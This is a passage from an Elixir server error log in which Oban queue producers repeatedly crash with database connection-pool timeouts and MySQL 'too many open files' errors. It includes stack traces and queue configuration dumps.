State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:50:39.243503Z], limit: 3, uuid: "112fda74-b5bf-4005-87f4-45e5632c1488", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:39.243507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33239>, refresh_timer: #Reference<0.2525715032.1099431938.34478>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:50:39.243094Z], limit: 10, uuid: "bbc8cb6c-7a39-4ea4-89a0-e5f29c7d9d78", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:39.243100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33236>, refresh_timer: #Reference<0.2525715032.1099431938.34458>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:50:39.243600Z], limit: 5, uuid: "8a51bd67-56e7-414e-b0a7-04e941f9f46e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:39.243604Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33238>, refresh_timer: #Reference<0.2525715032.1099431938.34484>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:50:39.244087Z], limit: 20, uuid: "a3b22f56-9319-4ad7-8542-634192fc0b0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:39.244092Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33240>, refresh_timer: #Reference<0.2525715032.1077673987.5311>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:50:39.243313Z], limit: 5, uuid: "fc3235ac-dd2b-4140-a732-2ba2b1d7d3cf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:39.243318Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33237>, refresh_timer: #Reference<0.2525715032.1099431938.34470>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:51.719000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:54.309000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:55.412000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:59.066000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:00.159000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:00.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:01.355000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:51:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:50:51.240053Z], limit: 3, uuid: "02c3ce32-e64e-4a91-b80f-b26d86b0df33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:51.240058Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.140697>, refresh_timer: #Reference<0.2525715032.1068498948.33560>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:50:51.239810Z], limit: 50, uuid: "e82603c1-942b-48d5-9914-d5774f073040", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:51.239816Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.140696>, refresh_timer: #Reference<0.2525715032.1068498948.33547>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:02.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:50:51.241861Z], limit: 20, uuid: "805bfc80-8b4c-49db-ab75-6130af3de1af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:51.241866Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.34622>, refresh_timer: #Reference<0.2525715032.1099431938.34621>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:02.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:50:51.241680Z], limit: 5, uuid: "511cbf93-9e2c-4cef-825b-22ad9d1c2981", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:51.241686Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.140700>, refresh_timer: #Reference<0.2525715032.1099431938.34613>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:51:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
